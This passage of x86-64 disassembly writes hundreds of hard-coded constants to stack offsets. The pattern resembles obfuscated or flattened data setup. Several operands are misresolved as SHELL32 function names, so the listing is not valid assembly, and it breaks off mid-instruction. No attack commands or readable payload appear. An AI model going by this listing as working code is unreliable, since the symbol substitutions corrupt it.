mov dword [rsp + 0x611c], 0x70d2
mov dword [rsp + 0x6120], 0xf660
mov dword [rsp + 0x6124], 0xdcf4
movabs rax, 0x786b13da098efb
mov qword [rsp + 0xbc70], rax
mov byte [rsp + 0xb4], 0x2e
mov eax, 0x748
mov word [rsp + 0x1070], ax
mov byte [rsp + 0xb5], 0x4d
movabs rax, 0x707e3f85d9cdd3
mov qword [rsp + 0xbc78], rax
mov dword [rsp + 0x6128], 0xb84
movabs rax, 0x77b468f65d00ad
mov qword [rsp + 0xbc80], rax
movabs rax, 0x7bbaf037fa1326
mov qword [rsp + 0xbc88], rax
movabs rax, 0x74ddddd5f9db78
mov qword [rsp + 0xbc90], rax
mov dword [rsp + 0x612c], 0xf0d6
mov eax, 0x1e
mov word [rsp + 0x1074], ax
mov byte [rsp + 0xb6], 7
mov dword [rsp + 0x6130], 0xfb5b
mov eax, 0x2f0
mov word [rsp + 0x1078], ax
movabs rax, 0x7a95a4b532711f
mov qword [rsp + 0xbc98], rax
movabs rax, 0x79cb6b15d67a54
mov qword [rsp + 0xbca0], rax
mov dword [rsp + 0x6134], 0x2638
movabs rax, 0x740b8702010c7a
mov qword [rsp + 0xbca8], rax
movabs rax, 0x73a56765b99598
mov qword [rsp + 0xbcb0], rax
mov byte [rsp + 0xb7], 0x82
mov dword [rsp + 0x6138], 0x6ff
mov eax, 0x146
mov word [rsp + 0x107c], ax
mov dword [rsp + 0x613c], 0x44eb
mov dword [rsp + 0x6140], 0xb4f1
mov eax, 0x394
mov word [rsp + 0x1080], ax
movabs rax, 0x786e06b0585eb3
mov qword [rsp + 0xbcb8], rax
movabs rax, 0x788b064121cadc
mov qword [rsp + 0xbcc0], rax
mov dword [rsp + 0x6144], 0x479f
movabs rax, 0x73284527c5ec23
mov qword [rsp + 0xbcc8], rax
mov eax, 0x3e5
mov word [rsp + 0x1084], ax
movabs rax, 0x70ea3bc42ba420
mov qword [rsp + 0xbcd0], rax
mov dword [rsp + 0x6148], 0x1cca
mov dword [rsp + 0x614c], 0x8359
movabs rax, 0x72d2cd554bce3d
mov qword [rsp + 0xbcd8], rax
mov dword [rsp + 0x6150], 0xc49
movabs rax, 0x76b0194baf059e
mov qword [rsp + 0xbce0], rax
mov byte [rsp + 0xb8], 0xc5
mov eax, 0xd42
mov word [rsp + 0x1088], ax
mov eax, 0x706
mov word [rsp + 0x108c], ax
mov eax, 0x27e
mov word [rsp + 0x1090], ax
mov byte [rsp + ILRemoveLastID9], 0xb
mov byte [rsp + 0xba], 0x65
mov eax, 0x395
mov word [rsp + 0x1094], ax
movabs rax, 0x72191d5804b51e
mov qword [rsp + 0xbce8], rax
mov dword [rsp + 0x6154], 0x73e6
mov byte [rsp + 0xbb], 0x67
mov eax, 0x9c8
mov word [rsp + 0x1098], ax
movabs rax, 0x7183c3a126188f
mov qword [rsp + 0xbcf0], rax
mov dword [rsp + 0x6158], 0x1132
movabs rax, 0x71cd129ce62752
mov qword [rsp + 0xbcf8], rax
mov byte [rsp + 0xbc], 9
movabs rax, 0x7ab5303898aaf3
mov qword [rsp + 0xbd00], rax
mov byte [rsp + 0xbd], 0xea
movabs rax, 0x79e2c2014caa1f
mov qword [rsp + 0xbd08], rax
mov dword [rsp + 0x615c], 0xec50
mov eax, 0x603
mov word [rsp + 0x109c], ax
movabs rax, 0x7128225ea3e62c
mov qword [rsp + 0xbd10], rax
movabs rax, 0x7c164f8c59aa07
mov qword [rsp + 0xbd18], rax
mov byte [rsp + 0xbe], ILFindChild
mov dword [rsp + 0x6160], 0xf2bd
mov eax, 0x4b2
mov word [rsp + 0x10a0], ax
movabs rax, 0x75db1bbc9f2c01
mov qword [rsp + 0xbd20], rax
mov eax, 0x6fe
mov word [rsp + 0x10a4], ax
movabs rax, 0x7bd7734c6fc72f
mov qword [rsp + 0xbd28], rax
mov dword [rsp + 0x6164], 0x2f56
mov dword [rsp + 0x6168], 0x56eb
movabs rax, 0x7dc26eec4404f5
mov qword [rsp + 0xbd30], rax
mov dword [rsp + 0x616c], 0x6fe2
mov eax, 0x4a6
mov word [rsp + 0x10a8], ax
movabs rax, 0x771581adadd2f8
mov qword [rsp + 0xbd38], rax
mov byte [rsp + 0xbf], 2
mov dword [rsp + 0x6170], 0xc9b4
mov dword [rsp + 0x6174], 0x3323
mov byte [rsp + 0xc0], 0x34
movabs rax, 0x748da7e35e0367
mov qword [rsp + 0xbd40], rax
mov eax, 0x76a
mov word [rsp + 0x10ac], ax
mov byte [rsp + 0xc1], 0x2d
mov dword [rsp + 0x6178], 0x4ed6
mov dword [rsp + 0x617c], 0x6b7b
mov dword [rsp + 0x6180], 0x6292
movabs rax, 0x7875ffc46fed86
mov qword [rsp + 0xbd48], rax
mov dword [rsp + 0x6184], 0x1288
movabs rax, 0x72fc88f17c9b29
mov qword [rsp + 0xbd50], rax
mov eax, 0x673
mov word [rsp + 0x10b0], ax
movabs rax, 0x72a51fa89b46ce
mov qword [rsp + 0xbd58], rax
mov dword [rsp + 0x6188], 0x5c4e
mov dword [rsp + 0x618c], 0x6c45
mov dword [rsp + 0x6190], 0x4014
mov dword [rsp + 0x6194], 0x842
movabs rax, 0x72c40eb894131a
mov qword [rsp + 0xbd60], rax
mov dword [rsp + 0x6198], 0xc145
mov eax, 0xe40
mov word [rsp + 0x10b4], ax
mov byte [rsp + 0xc2], 0x88
mov eax, 0x27e
mov word [rsp + 0x10b8], ax
mov dword [rsp + 0x619c], 0x19c7
movabs rax, 0x7a193a8140c6b3
mov qword [rsp + 0xbd68], rax
mov eax, 0x1cf
mov word [rsp + 0x10bc], ax
movabs rax, 0x7b478514861afd
mov qword [rsp + 0xbd70], rax
movabs rax, 0x7396245a36720a
mov qword [rsp + 0xbd78], rax
movabs rax, 0x7323c3ae2983c4
mov qword [rsp + 0xbd80], rax
mov dword [rsp + 0x61a0], 0xa865
movabs rax, 0x7e71cf2058a07b
mov qword [rsp + 0xbd88], rax
movabs rax, 0x7055b382ab4dbe
mov qword [rsp + 0xbd90], rax
mov dword [rsp + 0x61a4], 0x50a5
mov eax, 0xaab
mov word [rsp + 0x10c0], ax
mov byte [rsp + 0xc3], SHGetNewLinkInfoW
mov dword [rsp + 0x61a8], 0x7fd3
mov byte [rsp + 0xc4], 0x5a
mov byte [rsp + 0xc5], reloc.SHELL32.dll_SHDoDragDrop
movabs rax, 0x7030e1df6b3218
mov qword [rsp + 0xbd98], rax
movabs rax, 0x7dafffadb9a713
mov qword [rsp + 0xbda0], rax
mov eax, 0x56d
mov word [rsp + 0x10c4], ax
mov byte [rsp + 0xc6], reloc.SHELL32.dll_ILAppendID
movabs rax, 0x73509edd53a728
mov qword [rsp + 0xbda8], rax
mov byte [rsp + 0xc7], reloc.SHELL32.dll_ILIsParent
movabs rax, 0x772b3c5b23ae51
mov qword [rsp + 0xbdb0], rax
mov dword [rsp + 0x61ac], 0x5638
mov eax, 0x82
mov word [rsp + 0x10c8], ax
mov eax, 0xdb
mov word [rsp + 0x10cc], ax
mov eax, 0xda5
mov word [rsp + 0x10d0], ax
movabs rax, 0x7c1003e0f37c21
mov qword [rsp + 0xbdb8], rax
mov eax, 0xdbd
mov word [rsp + 0x10d4], ax
movabs rax, 0x7766fa0b001f5c
mov qword [rsp + 0xbdc0], rax
mov dword [rsp + 0x61b0], 0x79fc
mov dword [rsp + 0x61b4], 0x323c
mov byte [rsp + 0xc8], 0x65
movabs rax, 0x79448b1ea48564
mov qword [rsp + 0xbdc8], rax
mov byte [rsp + 0xc9], 0xf8
movabs rax, 0x711e5f1936b918
mov qword [rsp + 0xbdd0], rax
mov byte [rsp + 0xca], reloc.SHELL32.dll_ILIsEqual
mov byte [rsp + 0xcb], 0x66
mov dword [rsp + 0x61b8], 0xa6e5
mov dword [rsp + 0x61bc], 0x576e
movabs rax, 0x7869e820d2b863
mov qword [rsp + 0xbdd8], rax
movabs rax, 0x7d418aea82cacb
mov qword [rsp + 0xbde0], rax
mov dword [rsp + 0x61c0], 0x1275
mov dword [rsp + 0x61c4], 0x26f
mov eax, 0x8fc
mov word [rsp + 0x10d8], ax
mov eax, 0x342
mov word [rsp + 0x10dc], ax
mov dword [rsp + 0x61c8], 0x7cce
mov dword [rsp + 0x61cc], 0x2715
mov byte [rsp + 0xcc], 0x67
mov eax, 0xff2
mov word [rsp + 0x10e0], ax
mov eax, 0x47c
mov word [rsp + 0x10e4], ax
mov eax, 0x208
mov word [rsp + 0x10e8], ax
mov byte [rsp + 0xcd], SHGetNewLinkInfoW
movabs rax, 0x7a9193c316c3d0
mov qword [rsp + 0xbde8], rax
mov byte [rsp + 0xce], 0xd7
mov eax, 0x45c
mov word [rsp + 0x10ec], ax
movabs rax, 0x7161cd4876ae46
mov qword [rsp + 0xbdf0], rax
mov byte [rsp + 0xcf], 0x20
mov dword [rsp + 0x61d0], 0x73d2
mov byte [rsp + 0xd0], 0x4e
movabs rax, 0x7565f0b668e71a
mov qword [rsp + 0xbdf8], rax
mov byte [rsp + ILCloneFirst1], 0xd
movabs rax, 0x79047b72a572d3
mov qword [rsp + 0xbe00], rax
mov dword [rsp + 0x61d4], 0xcb8
mov dword [rsp + 0x61d8], 0x49f7
mov byte [rsp + 0xd2], 0x65
movabs rax, 0x7654e39f941117
mov qword [rsp + 0xbe08], rax
mov eax, 0x34
mov word [rsp + 0x10f0], ax
movabs rax, 0x7ddbb6fff09a89
mov qword [rsp + 0xbe10], rax
mov byte [rsp + 0xd3], 0x9d
movabs rax, 0x7cf01924b5a4fb
mov qword [rsp + 0xbe18], rax
mov dword [rsp + 0x61dc], 0xc2a5
mov dword [rsp + 0x61e0], 0x49fa
movabs rax, 0x79e91cefc03478
mov qword [rsp + 0xbe20], rax
movabs rax, 0x7937de5314ca48
mov qword [rsp + 0xbe28], rax
mov eax, 0x123
mov word [rsp + 0x10f4], ax
mov byte [rsp + 0xd4], ILCreateFromPathW
mov eax, 0x42e
mov word [rsp + 0x10f8], ax
mov dword [rsp + 0x61e4], 0xbeae
mov byte [rsp + 0xd5], ILCloneFirst
mov dword [rsp + 0x61e8], 0x7e6d
mov eax, 0x7f3
mov word [rsp + 0x10fc], ax
movabs rax, 0x7def99e557c177
mov qword [rsp + 0xbe30], rax
mov eax, 0x89d
mov word [rsp + 0x1100], ax
mov eax, 0x69
mov word [rsp + 0x1104], ax
movabs rax, 0x711d376970ff2d
mov qword [rsp + 0xbe38], rax
mov eax, 0x2ba
mov word [rsp + 0x1108], ax
movabs rax, 0x76275e6d7f9420
mov qword [rsp + 0xbe40], rax
mov eax, 0x7f0
mov word [rsp + 0x110c], ax
mov eax, 0x354
mov word [rsp + 0x1110], ax
mov byte [rsp + 0xd6], 0x84
movabs rax, 0x71f28157eaf9cf
mov qword [rsp + 0xbe48], rax
mov dword [rsp + 0x61ec], 0xaf5d
movabs rax, 0x74b6a842472e88
mov qword [rsp + 0xbe50], rax
mov eax, 0x3f0
mov word [rsp + 0x1114], ax
mov byte [rsp + 0xd7], 2
mov byte [rsp + 0xd8], ILSaveToStream
mov byte [rsp + 0xd9], reloc.SHELL32.dll_ILIsEqual
mov eax, 0x2ab
mov word [rsp + 0x1118], ax
mov eax, 0x6d4
mov word [rsp + 0x111c], ax
movabs rax, 0x76526a4f7a9e98
mov qword [rsp + 0xbe58], rax
mov byte [rsp + 0xda], 0x6e
mov dword [rsp + 0x61f0], 0x3976
mov byte [rsp + 0xdb], ILCloneFirst
mov eax, 0xe9d
mov word [rsp + 0x1120], ax
mov eax, 0x2ba
mov word [rsp + 0x1124], ax
mov byte [rsp + 0xdc], 5
mov eax, 0x463
mov word [rsp + 0x1128], ax
mov eax, 0xc36
mov word [rsp + 0x112c], ax
mov byte [rsp + 0xdd], 0x3b
mov byte [rsp + 0xde], 0x9c
mov eax, 0x972
mov word [rsp + 0x1130], ax
mov eax, 0x635
mov word [rsp + 0x1134], ax
mov eax, 0x291
mov word [rsp + 0x1138], ax
mov dword [rsp + 0x61f4], 0xbf88
mov byte [rsp + 0xdf], 0xda
mov dword [rsp + 0x61f8], 0x755f
movabs rax, 0x7b7fb52b0bb1bb
mov qword [rsp + 0xbe60], rax
mov byte [rsp + 0xe0], 0x1d
mov eax, 0x209
mov word [rsp + 0x113c], ax
mov dword [rsp + 0x61fc], 0x81e8
mov eax, 0x53e
mov word [rsp + 0x1140], ax
mov eax, 0x4df
mov word [rsp + 0x1144], ax
mov dword [rsp + 0x6200], 0x7cb8
movabs rax, 0x7e8c96b72573d9
mov qword [rsp + 0xbe68], rax
mov eax, 0x7c0
mov word [rsp + 0x1148], ax
movabs rax, 0x73c4648f0bfa6b
mov qword [rsp + 0xbe70], rax
mov byte [rsp + 0xe1], 0x1f
mov byte [rsp + 0xe2], 0x65
mov byte [rsp + 0xe3], 0x61
mov byte [rsp + 0xe4], 0xf7
mov byte [rsp + 0xe5], 0x62
mov eax, 0xf96
mov word [rsp + 0x114c], ax
movabs rax, 0x7c32927778b9b2
mov qword [rsp + 0xbe78], rax
movabs rax, 0x7578349fd85be3
mov qword [rsp + 0xbe80], rax
mov dword [rsp + 0x6204], 0x666f
mov dword [rsp + 0x6208], 0x8c6f
movabs rax, 0x737aba6cda34f3
mov qword [rsp + 0xbe88], rax
movabs rax, 0x742eac5347de80
mov qword [rsp + 0xbe90], rax
movabs rax, 0x785e9cfea9a7f9
mov qword [rsp + 0xbe98], rax
movabs rax, 0x7662dd469286ca
mov qword [rsp + 0xbea0], rax
mov eax, 0x47c
mov word [rsp + 0x1150], ax
movabs rax, 0x7697ad7c10858b
mov qword [rsp + 0xbea8], rax
mov byte [rsp + 0xe6], 8
movabs rax, 0x7d10f5a56c6484
mov qword [rsp + 0xbeb0], rax
movabs rax, 0x705a5d81eb46e6
mov qword [rsp + 0xbeb8], rax
mov eax, 0x375
mov word [rsp + 0x1154], ax
mov eax, 0x41d
mov word [rsp + 0x1158], ax
movabs rax, 0x7dcdcd830f7723
mov qword [rsp + 0xbec0], rax
mov eax, 0xb1b
mov word [rsp + 0x115c], ax
movabs rax, 0x721a3c9305e0d6
mov qword [rsp + 0xbec8], rax
mov eax, 0x488
mov word [rsp + 0x1160], ax
movabs rax, 0x70cdfec20e063b
mov qword [rsp + 0xbed0], rax
movabs rax, 0x750ec7b498ac35
mov qword [rsp + 0xbed8], rax
movabs rax, 0x7d996f5b1ff8cf
mov qword [rsp + 0xbee0], rax
movabs rax, 0x79f2321e34e466
mov qword [rsp + 0xbee8], rax
mov eax, 0xcee
mov word [rsp + 0x1164], ax
mov eax, 0x626
mov word [rsp + 0x1168], ax
mov byte [rsp + 0xe7], 0x62
movabs rax, 0x780166527f07fa
mov qword [rsp + 0xbef0], rax
mov dword [rsp + 0x620c], 0x5a69
mov dword [rsp + 0x6210], 0x46d5
movabs rax, 0x72a0bb0d3a4163
mov qword [rsp + 0xbef8], rax
mov eax, 0x3d7
mov word [rsp + 0x116c], ax
mov byte [rsp + 0xe8], 0x1f
mov eax, 0x499
mov word [rsp + 0x1170], ax
movabs rax, 0x78716b7d088edb
mov qword [rsp + 0xbf00], rax
mov dword [rsp + 0x6214], 0x39e1
movabs rax, 0x73560cbdf05317
mov qword [rsp + 0xbf08], rax
movabs rax, 0x7bfcb8d2ef63eb
mov qword [rsp + 0xbf10], rax
movabs rax, 0x7b2186ed80811d
mov qword [rsp + 0xbf18], rax
mov dword [rsp + 0x6218], 0x76af
mov dword [rsp + 0x621c], 0x1818
mov dword [rsp + 0x6220], 0x9a85
mov dword [rsp + 0x6224], 0x3d8d
mov eax, 0x205
mov word [rsp + 0x1174], ax
mov byte [rsp + 0xe9], 0x4f
mov eax, 0x8f2
mov word [rsp + 0x1178], ax
mov eax, 0x45d
mov word [rsp + 0x117c], ax
mov byte [rsp + 0xea], 0x60
mov byte [rsp + 0xeb], 0x21
mov dword [rsp + 0x6228], 0xfc88
mov dword [rsp + 0x622c], 0x39b1
mov dword [rsp + 0x6230], 0x75c0
movabs rax, 0x767f2e562f6493
mov qword [rsp + 0xbf20], rax
mov byte [rsp + 0xec], 0x3c
movabs rax, 0x7a4c541475c0fb
mov qword [rsp + 0xbf28], rax
movabs rax, 0x73b3cd6f6e092f
mov qword [rsp + 0xbf30], rax
mov eax, 0x692
mov word [rsp + 0x1180], ax
movabs rax, 0x74f65dec1b1162
mov qword [rsp + 0xbf38], rax
mov eax, 0x1ca
mov word [rsp + 0x1184], ax
mov eax, 0x5c9
mov word [rsp + 0x1188], ax
movabs rax, 0x748e40812fdb5e
mov qword [rsp + 0xbf40], rax
mov dword [rsp + 0x6234], 0x506c
movabs rax, 0x7000db5f12231e
mov qword [rsp + 0xbf48], rax
mov byte [rsp + 0xed], 0x26
mov dword [rsp + 0x6238], 0x4bb7
mov eax, 0x397
mov word [rsp + 0x118c], ax
mov eax, 0xcd8
mov word [rsp + 0x1190], ax
mov byte [rsp + 0xee], 0xec
mov dword [rsp + 0x623c], 0xa50b
movabs rax, 0x7670ca9054eb7f
mov qword [rsp + 0xbf50], rax
movabs rax, 0x7e4cba3a46bd3d
mov qword [rsp + 0xbf58], rax
mov dword [rsp + 0x6240], 0x29df
mov eax, 0x188
mov word [rsp + 0x1194], ax
movabs rax, 0x7bea265c847102
mov qword [rsp + 0xbf60], rax
movabs rax, 0x760ff87640d0cd
mov qword [rsp + 0xbf68], rax
movabs rax, 0x78947d73437923
mov qword [rsp + 0xbf70], rax
mov dword [rsp + 0x6244], 0x69ed
mov eax, 0x86
mov word [rsp + 0x1198], ax
mov dword [rsp + 0x6248], 0xd4e4
movabs rax, 0x7ae2875f763205
mov qword [rsp + 0xbf78], rax
mov eax, 0x607
mov word [rsp + 0x119c], ax
mov eax, 0x557
mov word [rsp + 0x11a0], ax
movabs rax, 0x7aaee7bc6bb372
mov qword [rsp + 0xbf80], rax
mov byte [rsp + 0xef], SHGetNewLinkInfoW
mov eax, 0xc2b
mov word [rsp + 0x11a4], ax
movabs rax, 0x79f3c6f8827ef8
mov qword [rsp + 0xbf88], rax
movabs rax, 0x7991600c2f0446
mov qword [rsp + 0xbf90], rax
mov dword [rsp + 0x624c], 0x13fa
mov byte [rsp + 0xf0], reloc.SHELL32.dll_SHDoDragDrop
movabs rax, 0x7d4d27e19c344c
mov qword [rsp + 0xbf98], rax
movabs rax, 0x79b977d0d1dca1
mov qword [rsp + 0xbfa0], rax
mov byte [rsp + 0xf1], 0x63
movabs rax, 0x7da69c3e2e5bcb
mov qword [rsp + 0xbfa8], rax
movabs rax, 0x7d791eaf1d3879
mov qword [rsp + 0xbfb0], rax
movabs rax, 0x7e962b04c72577
mov qword [rsp + 0xbfb8], rax
movabs rax, 0x74884a87a83534
mov qword [rsp + 0xbfc0], rax
mov byte [rsp + 0xf2], 0x65
mov eax, 0x2cc
mov word [rsp + 0x11a8], ax
mov dword [rsp + 0x6250], 0xb76f
movabs rax, 0x744856d6b16cb8
mov qword [rsp + 0xbfc8], rax
movabs rax, 0x70bfdaab31b731
mov qword [rsp + 0xbfd0], rax
mov dword [rsp + 0x6254], 0x7fd6
mov eax, PathYetAnotherMakeUniqueName
mov word [rsp + 0x11ac], ax
movabs rax, 0x7bdd3fcdff6123
mov qword [rsp + 0xbfd8], rax
mov dword [rsp + 0x6258], 0x2dcb
mov dword [rsp + 0x625c], 0x60a0
mov dword [rsp + 0x6260], 0xb534
movabs rax, 0x7ebc9e6fb7ec54
mov qword [rsp + 0xbfe0], rax
mov byte [rsp + 0xf3], 2
movabs rax, 0x7636081c0ceba5
mov qword [rsp + 0xbfe8], rax
mov eax, 0x348
mov word [rsp + 0x11b0], ax
mov dword [rsp + 0x6264], 0x21a4
mov byte [rsp + 0xf4], 0x3e
mov dword [rsp + 0x6268], 0x898
mov eax, 0xc9
mov word [rsp + 0x11b4], ax
movabs rax, 0x77c89cd93444c6
mov qword [rsp + 0xbff0], rax
mov dword [rsp + 0x626c], 0x6df7
movabs rax, 0x70d9028fee6dc0
mov qword [rsp + 0xbff8], rax
mov eax, 0x129
mov word [rsp + 0x11b8], ax
mov byte [rsp + 0xf5], 0x1f
movabs rax, 0x705c12829ae608
mov qword [rsp + 0xc000], rax
movabs rax, 0x723f359718f455
mov qword [rsp + 0xc008], rax
mov dword [rsp + 0x6270], 0xd571
movabs rax, 0x71f92c8acf8d22
mov qword [rsp + 0xc010], rax
mov dword [rsp + 0x6274], 0x3cb9
mov eax, 0xfe2
mov word [rsp + 0x11bc], ax
mov dword [rsp + 0x6278], 0x17fd
mov byte [rsp + 0xf6], 0xd2
mov byte [rsp + 0xf7], 0x67
mov dword [rsp + 0x627c], 0x43
mov byte [rsp + 0xf8], PathYetAnotherMakeUniqueName
mov eax, 0x63d
mov word [rsp + 0x11c0], ax
movabs rax, 0x7c094ad9abb9f2
mov qword [rsp + 0xc018], rax
movabs rax, 0x7e61f684a68a5a
mov qword [rsp + 0xc020], rax
movabs rax, 0x7b6b27a8a5e550
mov qword [rsp + 0xc028], rax
mov byte [rsp + 0xf9], 0xa
mov dword [rsp + 0x6280], 0x7d9e
mov dword [rsp + 0x6284], 0x7dcf
movabs rax, 0x72c5407ce7292c
mov qword [rsp + 0xc030], rax
mov eax, 0x5fc
mov word [rsp + 0x11c4], ax
movabs rax, 0x75faf3b9448af2
mov qword [rsp + 0xc038], rax
mov eax, ILFree
mov word [rsp + 0x11c8], ax
mov eax, 0xf11
mov word [rsp + 0x11cc], ax
mov byte [rsp + 0xfa], ILAppendID
movabs rax, 0x7ebc76b168f81f
mov qword [rsp + 0xc040], rax
mov dword [rsp + 0x6288], 0x3ca3
mov eax, 0x4a7
mov word [rsp + 0x11d0], ax
mov eax, 0x5b6
mov word [rsp + 0x11d4], ax
mov byte [rsp + 0xfb], 0x4f
movabs rax, 0x7529d3b90834bf
mov qword [rsp + 0xc048], rax
mov dword [rsp + 0x628c], 0xe76e
mov dword [rsp + 0x6290], 0x30f4
mov eax, 0x583
mov word [rsp + 0x11d8], ax
mov dword [rsp + 0x6294], 0xc32
movabs rax, 0x7d7ad39abd5edd
mov qword [rsp + 0xc050], rax
movabs rax, 0x7a80eca04d37b4
mov qword [rsp + 0xc058], rax
mov eax, 0x633
mov word [rsp + 0x11dc], ax
mov dword [rsp + 0x6298], 0x6071
mov eax, 0x700
mov word [rsp + 0x11e0], ax
movabs rax, 0x75f3cce14e67a9
mov qword [rsp + 0xc060], rax
mov dword [rsp + 0x629c], 0x6332
mov eax, 0xb86
mov word [rsp + 0x11e4], ax
mov dword [rsp + 0x62a0], 0x4cc3
mov dword [rsp + 0x62a4], 0xbe63
mov dword [rsp + 0x62a8], 0x92c
mov byte [rsp + 0xfc], reloc.SHELL32.dll_ILAppendID
mov dword [rsp + 0x62ac], 0x11a0
mov dword [rsp + 0x62b0], 0x129c
mov eax, 0xba7
mov word [rsp + 0x11e8], ax
mov eax, 0x1af
mov word [rsp + 0x11ec], ax
movabs rax, 0x767aa8dcaa0c64
mov qword [rsp + 0xc068], rax
mov dword [rsp + 0x62b4], 0xd689
mov eax, 0x75e
mov word [rsp + 0x11f0], ax
mov byte [rsp + 0xfd], 0x74
mov eax, 0x117
mov word [rsp + 0x11f4], ax
movabs rax, 0x76cc533ec75605
mov qword [rsp + 0xc070], rax
mov eax, 0xfb
mov word [rsp + 0x11f8], ax
mov byte [rsp + 0xfe], 2
movabs rax, 0x7b097996b0151b
mov qword [rsp + 0xc078], rax
mov eax, 0x41
mov word [rsp + 0x11fc], ax
mov byte [rsp + 0xff], 0xdc
mov dword [rsp + 0x62b8], 0xfba1
movabs rax, 0x72c1503cb48ac8
mov qword [rsp + 0xc080], rax
movabs rax, 0x73f5640e3a436b
mov qword [rsp + 0xc088], rax
movabs rax, 0x7d2b40308eceab
mov qword [rsp + 0xc090], rax
movabs rax, 0x7069a61e396cc1
mov qword [rsp + 0xc098], rax
movabs rax, 0x7ce6bcf6e47d68
mov qword [rsp + 0xc0a0], rax
movabs rax, 0x7b436dbcbd7e7b
mov qword [rsp + 0xc0a8], rax
mov dword [rsp + 0x62bc], 0x6c31
movabs rax, 0x75a11e6a4fae6b
mov qword [rsp + 0xc0b0], rax
mov byte [rsp + 0x100], 5
mov byte [rsp + 0x101], SHDoDragDrop
mov dword [rsp + 0x62c0], 0x30f4
mov eax, 0x136
mov word [rsp + 0x1200], ax
mov dword [rsp + 0x62c4], 0x46ea
movabs rax, 0x74e4a4e321890e
mov qword [rsp + 0xc0b8], rax
mov byte [rsp + 0x102], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x62c8], 0x5a2c
mov dword [rsp + 0x62cc], 0x68a0
mov dword [rsp + 0x62d0], 0x3606
movabs rax, 0x728c9f279d8950
mov qword [rsp + 0xc0c0], rax
mov byte [rsp + 0x103], 0x70
mov eax, 0xd2
mov word [rsp + 0x1204], ax
mov dword [rsp + 0x62d4], 0x8222
movabs rax, 0x7e5a7147caa8b5
mov qword [rsp + 0xc0c8], rax
mov eax, 0x5e1
mov word [rsp + 0x1208], ax
mov dword [rsp + 0x62d8], 0xf480
mov byte [rsp + 0x104], 0x1e
movabs rax, 0x73389ed082671c
mov qword [rsp + 0xc0d0], rax
mov byte [rsp + 0x105], 0x36
mov eax, 0xa80
mov word [rsp + 0x120c], ax
mov dword [rsp + 0x62dc], 0x6403
mov eax, 0x216
mov word [rsp + 0x1210], ax
mov eax, 0x5e7
mov word [rsp + 0x1214], ax
mov dword [rsp + 0x62e0], 0x53eb
mov eax, 0x5f3
mov word [rsp + 0x1218], ax
mov byte [rsp + 0x106], 0x1e
mov byte [rsp + 0x107], 0xea
mov dword [rsp + 0x62e4], 0x5c60
mov eax, 0x20d
mov word [rsp + 0x121c], ax
movabs rax, 0x7c8ebfddf4bbc2
mov qword [rsp + 0xc0d8], rax
mov dword [rsp + 0x62e8], 0x7d25
mov byte [rsp + 0x108], 0xb6
mov byte [rsp + 0x109], reloc.SHELL32.dll_SHDoDragDrop
movabs rax, 0x7ab7fa8740406d
mov qword [rsp + 0xc0e0], rax
mov eax, 0x7cb
mov word [rsp + 0x1220], ax
mov byte [rsp + 0x10a], 0xde
mov byte [rsp + 0x10b], 0xcf
mov dword [rsp + 0x62ec], 0x1880
movabs rax, 0x7c42dd7b08bbfa
mov qword [rsp + 0xc0e8], rax
movabs rax, 0x702178605af18e
mov qword [rsp + 0xc0f0], rax
movabs rax, 0x7a230009149449
mov qword [rsp + 0xc0f8], rax
mov byte [rsp + 0x10c], 0
mov eax, 0xf33
mov word [rsp + 0x1224], ax
mov eax, 0x6f4
mov word [rsp + 0x1228], ax
mov byte [rsp + 0x10d], 0x73
mov byte [rsp + 0x10e], 0x25
mov eax, reloc.SHELL32.dll_ILIsParent
mov word [rsp + 0x122c], ax
movabs rax, 0x73c1aabba9d947
mov qword [rsp + 0xc100], rax
movabs rax, 0x781d778b42dbc2
mov qword [rsp + 0xc108], rax
mov byte [rsp + 0x10f], 0xd0
mov byte [rsp + 0x110], 0x25
movabs rax, 0x786d1a6992d9c3
mov qword [rsp + 0xc110], rax
mov dword [rsp + 0x62f0], 0x4913
mov eax, 0x39d
mov word [rsp + 0x1230], ax
mov dword [rsp + 0x62f4], 0x1cd7
mov byte [rsp + 0x111], ILAppendID
mov byte [rsp + 0x112], 0x33
mov eax, 0x598
mov word [rsp + 0x1234], ax
mov eax, 0xcba
mov word [rsp + 0x1238], ax
movabs rax, 0x74290d525d0437
mov qword [rsp + 0xc118], rax
mov eax, 0x273
mov word [rsp + 0x123c], ax
movabs rax, 0x768f1d09a3b3c2
mov qword [rsp + 0xc120], rax
movabs rax, 0x77c1b59d6f96f2
mov qword [rsp + 0xc128], rax
movabs rax, 0x756de611f0eda1
mov qword [rsp + 0xc130], rax
mov byte [rsp + 0x113], 0x64
mov eax, 0x419
mov word [rsp + 0x1240], ax
mov dword [rsp + 0x62f8], 0x5fef
mov eax, 0xc35
mov word [rsp + 0x1244], ax
mov dword [rsp + 0x62fc], 0xeca7
movabs rax, 0x7baadf2f5e9a53
mov qword [rsp + 0xc138], rax
mov dword [rsp + 0x6300], 0x8103
mov dword [rsp + 0x6304], 0x6ae8
movabs rax, 0x74232feae0d01a
mov qword [rsp + 0xc140], rax
mov eax, 0x53b
mov word [rsp + 0x1248], ax
mov byte [rsp + 0x114], 0xfc
mov dword [rsp + 0x6308], 0x4cc5
mov eax, 0x383
mov word [rsp + 0x124c], ax
movabs rax, 0x73fe47e522a2eb
mov qword [rsp + 0xc148], rax
mov dword [rsp + 0x630c], 0x4da6
movabs rax, 0x7beb6ce4b3d274
mov qword [rsp + 0xc150], rax
mov dword [rsp + 0x6310], 0x8e42
mov byte [rsp + 0x115], 0xc0
mov byte [rsp + 0x116], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
movabs rax, 0x772335186dcc62
mov qword [rsp + 0xc158], rax
mov eax, 0xff7
mov word [rsp + 0x1250], ax
movabs rax, 0x70f81edfc6615e
mov qword [rsp + 0xc160], rax
movabs rax, 0x7ad6c06480f385
mov qword [rsp + 0xc168], rax
mov eax, 0x693
mov word [rsp + 0x1254], ax
mov eax, 0x6c9
mov word [rsp + 0x1258], ax
mov dword [rsp + 0x6314], 0x7cd9
movabs rax, 0x7a7003100d42b9
mov qword [rsp + 0xc170], rax
mov eax, 0xbb7
mov word [rsp + 0x125c], ax
mov eax, 0x640
mov word [rsp + 0x1260], ax
mov eax, 0x2f7
mov word [rsp + 0x1264], ax
mov dword [rsp + 0x6318], 0x75a7
movabs rax, 0x71d4875f18a280
mov qword [rsp + 0xc178], rax
mov eax, 0xe79
mov word [rsp + 0x1268], ax
mov byte [rsp + 0x117], 0x32
mov dword [rsp + 0x631c], 0x78cd
mov dword [rsp + 0x6320], 0x7b25
mov byte [rsp + 0x118], 0xa6
movabs rax, 0x7dc6af0d6f2bb3
